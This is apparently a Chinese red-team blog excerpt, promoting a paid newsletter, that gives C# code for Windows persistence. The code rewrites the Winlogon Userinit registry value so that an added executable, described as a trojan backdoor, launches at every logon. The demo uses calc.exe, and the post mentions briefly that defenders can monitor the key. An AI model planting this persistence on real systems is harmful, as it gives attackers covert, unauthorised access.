.NET 通过UserInit键实现Windows权限维持

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02基本介绍

本文内容部分节选自小报童《.NET 修改系统注册表UserInit键值实现权限维持》,完整的文章内容请加入小报童后订阅查看。目前已有80+位朋友抢先预定,我们会长期更新,对.NET内网安全的朋友们请尽快订阅该报刊!

图片

03编码实现

UserInit键位于Windows注册表的路径中,所包含的值表示指向用户登录时系统要启动的初始化程序,利用Windows注册表中的UserInit键,攻击者可以实现权限维持。

3.1 UserInit键

红队可以通过修改UserInit键值将自定义的可执行文件添加到路径中,比如某个远控生成的木马后门文件,这样用户登录时自动执行该文件,以下是实现这一操作的代码示例

string keyName = "Userinit";
string customExecutablePath = @"C:\windows\system32\calc.exe";
string newUserInitValue = $"C:\\windows\\system32\\userinit.exe,{customExecutablePath}";

这里的customExecutablePath变量是要添加的自定义可执行文件的路径,此处便于演示直接定为计算器calc.exe,newUserInitValue是新的UserInit键值,它包含了默认的userinit.exe路径和自定义可执行文件路径。

3.2 更新键写入后门

.NET中使用Registry.LocalMachine.CreateSubKey方法打开UserInit键所在的注册表路径,调用SetValue方法将UserInit键的值更新为新值,确保在用户登录时启动calc.exe,具体代码如下所示。

RegistryKey registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
registryKey.SetValue(keyName, newUserInitValue);
registryKey.Close();

通过修改注册表UserInit键来启动自定义程序,是红队在渗透测试和攻击活动中常用的方法之一,从蓝队视角因此需定期检查和监控UserInit键的配置。想要了解更多内网权限维持的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

04轻量级.NET 电子报刊

小报童电子报刊【.NET内网安全攻防】已开始运营,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高,那么可以订阅这个专栏。

 本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

我们会长期更新,初步计划保持每周更新1-2篇新内容,对.NET内网安全的朋友们请尽快订阅该报刊!

图片

感兴趣的朋友,可以点击链接:https://xiaobot.net/p/dotNetAttack,或者扫描下方海报微信二维码加入即可,订阅后小报童定时会将最新内容通过微信推送给您。

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值